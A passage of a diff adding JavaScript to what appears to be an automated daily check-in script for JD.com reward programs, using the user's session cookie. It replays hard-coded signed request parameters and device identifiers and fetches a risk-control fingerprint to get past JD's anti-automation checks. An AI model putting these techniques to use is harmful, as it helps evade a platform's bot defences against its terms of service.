}).then(data => { + disable(key, title, 2) + if (typeof(data) == "object") return JDUserSign1(s, key, title, encodeURIComponent(`{${data}}`)); + if (typeof(data) == "number") return JDUserSign2(s, key, title, data, acData) + if (typeof(data) == "string") return JDUserSignPre1(s, key, title, acData, data) + }, () => disable(key, title, 2)) +} + +function JDUserSign1(s, key, title, body) { + return new Promise(resolve => { + setTimeout(() => { + const JDUrl = { + url: 'https://api.m.jd.com/client.action?functionId=userSign', + headers: { + Cookie: KEY + }, + body: `body=${body}&client=wh5` + }; + $nobyda.post(JDUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? `response:\n${data}` : ''; + if (data.match(/签到成功/)) { + console.log(`\n${title}签到成功(1)${Details}`) + if (data.match(/\"text\":\"\d+京豆\"/)) { + merge[key].bean = data.match(/\"text\":\"(\d+)京豆\"/)[1] + } + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean || '无'}京豆 🐶` + merge[key].success = 1 + } else { + console.log(`\n${title}签到失败(1)${Details}`) + if (data.match(/(已签到|已领取)/)) { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + } else if (data.match(/(不存在|已结束|未开始)/)) { + merge[key].notify = `${title}: 失败, 原因: 活动已结束 ⚠️` + } else if (data.match(/\"code\":\"?3\"?/)) { + merge[key].notify = `${title}: 失败, 原因: Cookie失效‼️` + } else { + const ng = data.match(/\"(errorMessage|subCodeMsg)\":\"(.+?)\"/) + merge[key].notify = `${title}: 失败, ${ng?ng[2]:`原因: 未知`} ⚠️` + } + merge[key].fail = 1 + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +async function JDUserSign2(s, key, title, tid, acData) { + await new Promise(resolve => { + let lkt = new Date().getTime() + let lks = md5('' + 'q8DNJdpcfRQ69gIx' + lkt).toString() + $nobyda.get({ + url: `https://jdjoy.jd.com/api/turncard/channel/detail?turnTableId=${tid}&invokeKey=q8DNJdpcfRQ69gIx`, + headers: { + Cookie: KEY, + 'lkt': lkt, + 'lks': lks + } + }, async function(error, response, data) { + try { + if(data) { + data = JSON.parse(data); + if (data.success && data.data) { + data = data.data + if (!data.hasSign) { + let ss = await Faker.getBody(`https://prodev.m.jd.com/mall/active/${acData}/index.html`) + fp = ss.fp + await getEid(ss, title) + } + } + } + } catch(eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out + s) + }); + return new Promise(resolve => { + setTimeout(() => { + let lkt = new Date().getTime() + let lks = md5('' + 'q8DNJdpcfRQ69gIx' + lkt).toString() + const JDUrl = { + url: 'https://jdjoy.jd.com/api/turncard/channel/sign?invokeKey=q8DNJdpcfRQ69gIx', + headers: { + Cookie: KEY, + 'lkt': lkt, + 'lks': lks + }, + body: `turnTableId=${tid}&fp=${fp}&eid=${eid}` + }; + $nobyda.post(JDUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? `response:\n${data}` : ''; + if (data.match(/\"success\":true/)) { + console.log(`\n${title}签到成功(2)${Details}`) + if (data.match(/\"jdBeanQuantity\":\d+/)) { + merge[key].bean = data.match(/\"jdBeanQuantity\":(\d+)/)[1] + } + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean || '无'}京豆 🐶` + merge[key].success = 1 + } else { + const captcha = /请进行验证/.test(data); + if (data.match(/(已经签到|已经领取)/)) { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + } else if (data.match(/(不存在|已结束|未开始)/)) { + merge[key].notify = `${title}: 失败, 原因: 活动已结束 ⚠️` + } else if (data.match(/(没有登录|B0001)/)) { + merge[key].notify = `${title}: 失败, 原因: Cookie失效‼️` + } else if (!captcha) { + const ng = data.match(/\"(errorMessage|subCodeMsg)\":\"(.+?)\"/) + merge[key].notify = `${title}: 失败, ${ng?ng[2]:`原因: 未知`} ⚠️` + } + if (!captcha) merge[key].fail = 1; + console.log(`\n${title}签到失败(2)${captcha?`\n需要拼图验证, 跳过通知记录 ⚠️`:``}${Details}`) + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, 200 + s) + if (out) setTimeout(resolve, out + s + 200) + }); +} + +function JDFlashSale(s) { + merge.JDFSale = {}; + return new Promise(resolve => { + if (disable("JDFSale")) return resolve() + setTimeout(() => { + const JDPETUrl = { + url: 'https://api.m.jd.com/client.action?functionId=partitionJdSgin', + headers: { + Cookie: KEY + }, + body: "body=%7B%22version%22%3A%22v2%22%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=6768e2cf625427615dd89649dd367d41&st=1597248593305&sv=121" + }; + $nobyda.post(JDPETUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.result && cc.result.code == 0) { + console.log("\n" + "京东商城-闪购签到成功 " + Details) + merge.JDFSale.bean = cc.result.jdBeanNum || 0 + merge.JDFSale.notify = "京东商城-闪购: 成功, 明细: " + (merge.JDFSale.bean || "无") + "京豆 🐶" + merge.JDFSale.success = 1 + } else { + console.log("\n" + "京东商城-闪购签到失败 " + Details) + if (data.match(/(已签到|已领取|\"2005\")/)) { + merge.JDFSale.notify = "京东商城-闪购: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/不存在|已结束|\"2008\"|\"3001\"/)) { + await FlashSaleDivide(s); //瓜分京豆 + return + } else if (data.match(/(\"code\":\"3\"|\"1003\")/)) { + merge.JDFSale.notify = "京东商城-闪购: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.match(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/) + merge.JDFSale.notify = `京东商城-闪购: 失败, ${msg ? msg[1] : `原因: 未知`} ⚠️` + } + merge.JDFSale.fail = 1 + } + } + } catch (eor) { + $nobyda.AnError("京东商城-闪购", "JDFSale", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function FlashSaleDivide(s) { + return new Promise(resolve => { + setTimeout(() => { + const Url = { + url: 'https://api.m.jd.com/client.action?functionId=partitionJdShare', + headers: { + Cookie: KEY + }, + body: "body=%7B%22version%22%3A%22v2%22%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=49baa3b3899b02bbf06cdf41fe191986&st=1597682588351&sv=111" + }; + $nobyda.post(Url, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.result.code == 0) { + merge.JDFSale.success = 1 + merge.JDFSale.bean = cc.result.jdBeanNum || 0 + merge.JDFSale.notify = "京东闪购-瓜分: 成功, 明细: " + (merge.JDFSale.bean || "无") + "京豆 🐶" + console.log("\n" + "京东闪购-瓜分签到成功 " + Details) + } else { + merge.JDFSale.fail = 1 + console.log("\n" + "京东闪购-瓜分签到失败 " + Details) + if (data.match(/已参与|已领取|\"2006\"/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: 已瓜分 ⚠️" + } else if (data.match(/不存在|已结束|未开始|\"2008\"|\"2012\"/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/\"code\":\"1003\"|未获取/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.match(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/) + merge.JDFSale.notify = `京东闪购-瓜分: 失败, ${msg ? msg[1] : `原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东闪购-瓜分", "JDFSale", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongCash(s) { + merge.JDCash = {}; + return new Promise(resolve => { + if (disable("JDCash")) return resolve() + setTimeout(() => { + const JDCAUrl = { + url: 'https://api.m.jd.com/client.action?functionId=ccSignInNew', + headers: { + Cookie: KEY + }, + body: "body=%7B%22pageClickKey%22%3A%22CouponCenter%22%2C%22eid%22%3A%22O5X6JYMZTXIEX4VBCBWEM5PTIZV6HXH7M3AI75EABM5GBZYVQKRGQJ5A2PPO5PSELSRMI72SYF4KTCB4NIU6AZQ3O6C3J7ZVEP3RVDFEBKVN2RER2GTQ%22%2C%22shshshfpb%22%3A%22v1%5C%2FzMYRjEWKgYe%2BUiNwEvaVlrHBQGVwqLx4CsS9PH1s0s0Vs9AWk%2B7vr9KSHh3BQd5NTukznDTZnd75xHzonHnw%3D%3D%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22monitorSource%22%3A%22cc_sign_ios_index_config%22%7D&client=apple&clientVersion=8.5.0&d_brand=apple&d_model=iPhone8%2C2&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&scope=11&screen=1242%2A2208&sign=1cce8f76d53fc6093b45a466e93044da&st=1581084035269&sv=102" + }; + $nobyda.post(JDCAUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.busiCode == "0") { + console.log("\n" + "京东现金-红包签到成功 " + Details) + merge.JDCash.success = 1 + merge.JDCash.Cash = cc.result.signResult.signData.amount || 0 + merge.JDCash.notify = `京东现金-红包: 成功, 明细: ${merge.JDCash.Cash || `无`}红包 🧧` + } else { + console.log("\n" + "京东现金-红包签到失败 " + Details) + merge.JDCash.fail = 1 + if (data.match(/(\"busiCode\":\"1002\"|完成签到)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/(不存在|已结束)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/(\"busiCode\":\"3\"|未登录)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.split(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/)[1]; + merge.JDCash.notify = `京东现金-红包: 失败, ${msg||`原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东现金-红包", "JDCash", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDMagicCube(s, sign) { + merge.JDCube = {}; + return new Promise((resolve, reject) => { + if (disable("JDCube")) return reject() + const JDUrl = { + url: `https://api.m.jd.com/client.action?functionId=getNewsInteractionInfo&appid=smfe${sign?`&body=${encodeURIComponent(`{"sign":${sign}}`)}`:``}`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDUrl, async (error, response, data) => { + try { + if (error) throw new Error(error) + const Details = LogDetails ? "response:\n" + data : ''; + console.log(`\n京东魔方-尝试查询活动(${sign}) ${Details}`) + if (data.match(/\"interactionId\":\d+/)) { + resolve({ + id: data.match(/\"interactionId\":(\d+)/)[1], + sign: sign || null + }) + } else if (data.match(/配置异常/) && sign) { + await JDMagicCube(s, sign == 2 ? 1 : null) + reject() + } else { + resolve(null) + } + } catch (eor) { + $nobyda.AnError("京东魔方-查询", "JDCube", eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + return JDMagicCubeSign(s, data) + }, () => {}); +} + +function JDMagicCubeSign(s, id) { + return new Promise(resolve => { + setTimeout(() => { + const JDMCUrl = { + url: `https://api.m.jd.com/client.action?functionId=getNewsInteractionLotteryInfo&appid=smfe${id?`&body=${encodeURIComponent(`{${id.sign?`"sign":${id.sign},`:``}"interactionId":${id.id}}`)}`:``}`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDMCUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (data.match(/(\"name\":)/)) { + console.log("\n" + "京东商城-魔方签到成功 " + Details) + merge.JDCube.success = 1 + if (data.match(/(\"name\":\"京豆\")/)) { + merge.JDCube.bean = cc.result.lotteryInfo.quantity || 0 + merge.JDCube.notify = `京东商城-魔方: 成功, 明细: ${merge.JDCube.bean || `无`}京豆 🐶` + } else { + merge.JDCube.notify = `京东商城-魔方: 成功, 明细: ${cc.result.lotteryInfo.name || `未知`} 🎉` + } + } else { + console.log("\n" + "京东商城-魔方签到失败 " + Details) + merge.JDCube.fail = 1 + if (data.match(/(一闪而过|已签到|已领取)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 无机会 ⚠️" + } else if (data.match(/(不存在|已结束)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/(\"code\":3)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: Cookie失效‼️" + } else { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-魔方", "JDCube", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongSubsidy(s) { + merge.subsidy = {}; + return new Promise(resolve => { + if (disable("subsidy")) return resolve() + setTimeout(() => { + const subsidyUrl = { + url: 'https://ms.jr.jd.com/gw/generic/uc/h5/m/signIn7', + headers: { + Referer: "https://active.jd.com/forever/cashback/index", + Cookie: KEY + } + }; + $nobyda.get(subsidyUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.resultCode == 0 && cc.resultData.data && cc.resultData.data.thisAmount) { + console.log("\n" + "京东商城-金贴签到成功 " + Details) + merge.subsidy.subsidy = cc.resultData.data.thisAmountStr + merge.subsidy.notify = `京东商城-金贴: 成功, 明细: ${merge.subsidy.subsidy||`无`}金贴 💰` + merge.subsidy.success = 1 + } else { + console.log("\n" + "京东商城-金贴签到失败 " + Details) + merge.subsidy.fail = 1 + if (data.match(/已存在|"thisAmount":0/)) { + merge.subsidy.notify = "京东商城-金贴: 失败, 原因: 无金贴 ⚠️" + } else if (data.match(/请先登录/)) { + merge.subsidy.notify = "京东商城-金贴: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.split(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/)[1]; + merge.subsidy.notify = `京东商城-金贴: 失败, ${msg||`原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-金贴", "subsidy", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingRongDoll(s, key, title, code, type, num, award, belong) { + merge[key] = {}; + return new Promise(resolve => { + if (disable(key)) return resolve() + setTimeout(() => { + const DollUrl = { + url: "https://nu.jr.jd.com/gw/generic/jrm/h5/m/process", + headers: { + Cookie: KEY + }, + body: `reqData=${encodeURIComponent(`{"actCode":"${code}","type":${type?type:`3`}${code=='F68B2C3E71'?`,"frontParam":{"belong":"${belong}"}`:code==`1DF13833F7`?`,"frontParam":{"channel":"JR","belong":4}`:``}}`)}` + }; + $nobyda.post(DollUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + var cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0) { + if (cc.resultData.data.businessData != null) { + console.log(`\n${title}查询成功 ${Details}`) + if (cc.resultData.data.businessData.pickStatus == 2) { + if (data.match(/\"rewardPrice\":\"\d.*?\"/)) { + const JRDoll_bean = data.match(/\"rewardPrice\":\"(\d.*?)\"/)[1] + const JRDoll_type = data.match(/\"rewardName\":\"金贴奖励\"/) ? true : false + await JingRongDoll(s, key, title, code, '4', JRDoll_bean, JRDoll_type) + } else { + merge[key].success = 1 + merge[key].notify = `${title}: 成功, 明细: 无奖励 🐶` + } + } else if (code == 'F68B2C3E71' || code == '1DF13833F7') { + if (!data.match(/"businessCode":"30\dss?q"/)) { + merge[key].success = 1 + const ct = data.match(/\"count\":\"?(\d.*?)\"?,/) + if (code == 'F68B2C3E71' && belong == 'xianjin') { + merge[key].Money = ct ? ct[1] > 9 ? `0.${ct[1]}` : `0.0${ct[1]}` : 0 + merge[key].notify = `${title}: 成功, 明细: ${merge[key].Money||`无`}现金 💰` + } else if (code == 'F68B2C3E71' && belong == 'jingdou') { + merge[key].bean = ct ? ct[1] : 0; + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean||`无`}京豆 🐶` + } else if (code == '1DF13833F7') { + merge[key].subsidy = ct ? ct[1] : 0; + merge[key].notify = `${title}: 成功, 明细: ${merge[key].subsidy||`无`}金贴 💰` + } + } else { + const es = cc.resultData.data.businessMsg + const ep = cc.resultData.data.businessData.businessMsg + const tp = data.match(/已领取|300ss?q/) ? `已签过` : `${ep||es||cc.resultMsg||`未知`}` + merge[key].notify = `${title}: 失败, 原因: ${tp} ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️`; + merge[key].fail = 1 + } + } else if (cc.resultData.data.businessCode == 200) { + console.log(`\n${title}签到成功 ${Details}`) + if (!award) { + merge[key].bean = num ? num.match(/\d+/)[0] : 0 + } else { + merge[key].subsidy = num || 0 + } + merge[key].success = 1 + merge[key].notify = `${title}: 成功, 明细: ${(award?num:merge[key].bean)||`无`}${award?`金贴 💰`:`京豆 🐶`}` + } else { + console.log(`\n${title}领取异常 ${Details}`) + if (num) console.log(`\n${title} 请尝试手动领取, 预计可得${num}${award?`金贴`:`京豆`}: \nhttps://uf1.jr.jd.com/up/redEnvelopes/index.html?actCode=${code}\n`); + merge[key].fail = 1; + merge[key].notify = `${title}: 失败, 原因: 领取异常 ⚠️`; + } + } else { + console.log(`\n${title}签到失败 ${Details}`) + const redata = typeof(cc.resultData) == 'string' ? cc.resultData : '' + merge[key].notify = `${title}: 失败, ${cc.resultCode==3?`原因: Cookie失效‼️`:`${redata||'原因: 未知 ⚠️'}`}` + merge[key].fail = 1; + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongGetCash(s) { + merge.JDGetCash = {}; + return new Promise(resolve => { + if (disable("JDGetCash")) return resolve() + setTimeout(() => { + const GetCashUrl = { + url: 'https://api.m.jd.com/client.action?functionId=cash_sign&body=%7B%22remind%22%3A0%2C%22inviteCode%22%3A%22%22%2C%22type%22%3A0%2C%22breakReward%22%3A0%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=7e2f8bcec13978a691567257af4fdce9&st=1596954745073&sv=111', + headers: { + Cookie: KEY, + } + }; + $nobyda.get(GetCashUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data); + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.data.success && cc.data.result) { + console.log("\n" + "京东商城-现金签到成功 " + Details) + merge.JDGetCash.success = 1 + merge.JDGetCash.Money = cc.data.result.signCash || 0 + merge.JDGetCash.notify = `京东商城-现金: 成功, 明细: ${cc.data.result.signCash||`无`}现金 💰` + } else { + console.log("\n" + "京东商城-现金签到失败 " + Details) + merge.JDGetCash.fail = 1 + if (data.match(/\"bizCode\":201|已经签过/)) { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/\"code\":300|退出登录/)) { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: Cookie失效‼️" + } else { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-现金", "JDGetCash", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongStore(s) { + merge.JDGStore = {}; + return new Promise(resolve => { + if (disable("JDGStore")) return resolve() + setTimeout(() => { + $nobyda.get({ + url: 'https://api.m.jd.com/api?appid=jdsupermarket&functionId=smtg_sign&clientVersion=8.0.0&client=m&body=%7B%7D', + headers: { + Cookie: KEY, + Origin: `https://jdsupermarket.jd.com` + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data); + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.data && cc.data.success === true && cc.data.bizCode === 0) { + console.log(`\n京东商城-超市签到成功 ${Details}`) + merge.JDGStore.success = 1 + merge.JDGStore.bean = cc.data.result.jdBeanCount || 0 + merge.JDGStore.notify = `京东商城-超市: 成功, 明细: ${merge.JDGStore.bean||`无`}京豆 🐶` + } else { + if (!cc.data) cc.data = {} + console.log(`\n京东商城-超市签到失败 ${Details}`) + const tp = cc.data.bizCode == 811 ? `已签过` : cc.data.bizCode == 300 ? `Cookie失效` : `${cc.data.bizMsg||`未知`}` + merge.JDGStore.notify = `京东商城-超市: 失败, 原因: ${tp}${cc.data.bizCode==300?`‼️`:` ⚠️`}` + merge.JDGStore.fail = 1 + } + } catch (eor) { + $nobyda.AnError("京东商城-超市", "JDGStore", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDSecKilling(s) { //领券中心 + merge.JDSecKill = {}; + return new Promise((resolve, reject) => { + if (disable("JDSecKill")) return reject(); + setTimeout(() => { + $nobyda.post({ + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY, + Origin: 'https://h5.m.jd.com' + }, + body: 'functionId=homePageV2&appid=SecKill2020' + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data); + if (cc.code == 203 || cc.code == 3 || cc.code == 101) { + merge.JDSecKill.notify = `京东秒杀-红包: 失败, 原因: Cookie失效‼️`; + } else if (cc.result && cc.result.projectId && cc.result.taskId) { + console.log(`\n京东秒杀-红包查询成功 ${Details}`) + return resolve({ + projectId: cc.result.projectId, + taskId: cc.result.taskId + }) + } else { + merge.JDSecKill.notify = `京东秒杀-红包: 失败, 暂无有效活动 ⚠️`; + } + merge.JDSecKill.fail = 1; + console.log(`\n京东秒杀-红包查询失败 ${Details}`) + reject() + } catch (eor) { + $nobyda.AnError("京东秒杀-查询", "JDSecKill", eor, response, data) + reject() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }).then(async (id) => { + await new Promise(resolve => { + $nobyda.post({ + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY, + Origin: 'https://h5.m.jd.com' + }, + body: `functionId=doInteractiveAssignment&body=%7B%22encryptProjectId%22%3A%22${id.projectId}%22%2C%22encryptAssignmentId%22%3A%22${id.taskId}%22%2C%22completionFlag%22%3Atrue%7D&client=wh5&appid=SecKill2020` + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data); + if (cc.code == 0 && cc.subCode == 0) { + console.log(`\n京东秒杀-红包签到成功 ${Details}`); + const qt = data.match(/"discount":(\d.*?),/); + merge.JDSecKill.success = 1; + merge.JDSecKill.Cash = qt ? qt[1] : 0; + merge.JDSecKill.notify = `京东秒杀-红包: 成功, 明细: ${merge.JDSecKill.Cash||`无`}红包 🧧`; + } else { + console.log(`\n京东秒杀-红包签到失败 ${Details}`); + merge.JDSecKill.fail = 1; + merge.JDSecKill.notify = `京东秒杀-红包: 失败, ${cc.subCode==103?`原因: 已领取`:cc.msg?cc.msg:`原因: 未知`} ⚠️`; + } + } catch (eor) { + $nobyda.AnError("京东秒杀-领取", "JDSecKill", eor, response, data); + } finally { + resolve(); + } + }) + }) + }, () => {}); +} + +function TotalSteel() { + merge.TotalSteel = {}; + return new Promise(resolve => { + if (disable("TSteel")) return resolve() + $nobyda.get({ + url: 'https://coin.jd.com/m/gb/getBaseInfo.html', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + if (data.match(/(\"gbBalance\":\d+)/)) { + console.log("\n" + "京东-总钢镚查询成功 " + Details) + const cc = JSON.parse(data) + merge.TotalSteel.TSteel = cc.gbBalance + } else { + console.log("\n" + "京东-总钢镚查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户钢镚-查询", "TotalSteel", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function getEid(ss, title) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${ss.a}`, + body: `d=${ss.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" + } + } + $nobyda.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${title} 登录: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $nobyda.AnError(eor, resp); + } finally { + resolve(data); + } + }) + }) +} + +function TotalBean() { + merge.TotalBean = {}; + return new Promise(resolve => { + if (disable("Qbear")) return resolve() + $nobyda.get({ + url: 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.msg == 'success' && cc.retcode == 0) { + merge.TotalBean.nickname = cc.data.userInfo.baseInfo.nickname || "" + merge.TotalBean.Qbear = cc.data.assetInfo.beanNum || 0 + $nobyda.headUrl = cc.data.userInfo.baseInfo.headImageUrl || "" + console.log(`\n京东-总京豆查询成功 ${Details}`) + } else { + const name = decodeURIComponent(KEY.split(/pt_pin=(.+?);/)[1] || ''); + merge.TotalBean.nickname = cc.retcode == 1001 ? `${name} (CK失效‼️)` : ""; + console.log(`\n京东-总京豆查询失败 ${Details}`) + } + } catch (eor) { + $nobyda.AnError("账户京豆-查询", "TotalBean", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalCash() { + merge.TotalCash = {}; + return new Promise(resolve => { + if (disable("TCash")) return resolve() + $nobyda.post({ + url: 'https://api.m.jd.com/client.action?functionId=myhongbao_balance', + headers: { + Cookie: KEY + }, + body: "body=%7B%22fp%22%3A%22-1%22%2C%22appToken%22%3A%22apphongbao_token%22%2C%22childActivityUrl%22%3A%22-1%22%2C%22country%22%3A%22cn%22%2C%22openId%22%3A%22-1%22%2C%22childActivityId%22%3A%22-1%22%2C%22applicantErp%22%3A%22-1%22%2C%22platformId%22%3A%22appHongBao%22%2C%22isRvc%22%3A%22-1%22%2C%22orgType%22%3A%222%22%2C%22activityType%22%3A%221%22%2C%22shshshfpb%22%3A%22-1%22%2C%22platformToken%22%3A%22apphongbao_token%22%2C%22organization%22%3A%22JD%22%2C%22pageClickKey%22%3A%22-1%22%2C%22platform%22%3A%221%22%2C%22eid%22%3A%22-1%22%2C%22appId%22%3A%22appHongBao%22%2C%22childActiveName%22%3A%22-1%22%2C%22shshshfp%22%3A%22-1%22%2C%22jda%22%3A%22-1%22%2C%22extend%22%3A%22-1%22%2C%22shshshfpa%22%3A%22-1%22%2C%22activityArea%22%3A%22-1%22%2C%22childActivityTime%22%3A%22-1%22%7D&client=apple&clientVersion=8.5.0&d_brand=apple&networklibtype=JDNetworkBaseAF&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=fdc04c3ab0ee9148f947d24fb087b55d&st=1581245397648&sv=120" + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + if (data.match(/(\"totalBalance\":\d+)/)) { + console.log("\n" + "京东-总红包查询成功 " + Details) + const cc = JSON.parse(data) + merge.TotalCash.TCash = cc.totalBalance + } else { + console.log("\n" + "京东-总红包查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户红包-查询", "TotalCash", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalSubsidy() { + merge.TotalSubsidy = {}; + return new Promise(resolve => { + if (disable("TotalSubsidy")) return resolve() + $nobyda.get({ + url: 'https://ms.jr.jd.com/gw/generic/uc/h5/m/mySubsidyBalance', + headers: { + Cookie: KEY, + Referer: 'https://active.jd.com/forever/cashback/index?channellv=wojingqb' + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0 && cc.resultData && cc.resultData.data) { + console.log("\n京东-总金贴查询成功 " + Details) + merge.TotalSubsidy.TSubsidy = cc.resultData.data.balance || 0 + } else { + console.log("\n京东-总金贴查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户金贴-查询", "TotalSubsidy", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalMoney() { + merge.TotalMoney = {}; + return new Promise(resolve => { + if (disable("TotalMoney")) return resolve() + $nobyda.get({ + url: 'https://api.m.jd.com/client.action?functionId=cash_exchangePage&body=%7B%7D&build=167398&client=apple&clientVersion=9.1.9&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=762a8e894dea8cbfd91cce4dd5714bc5&st=1602179446935&sv=102', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" 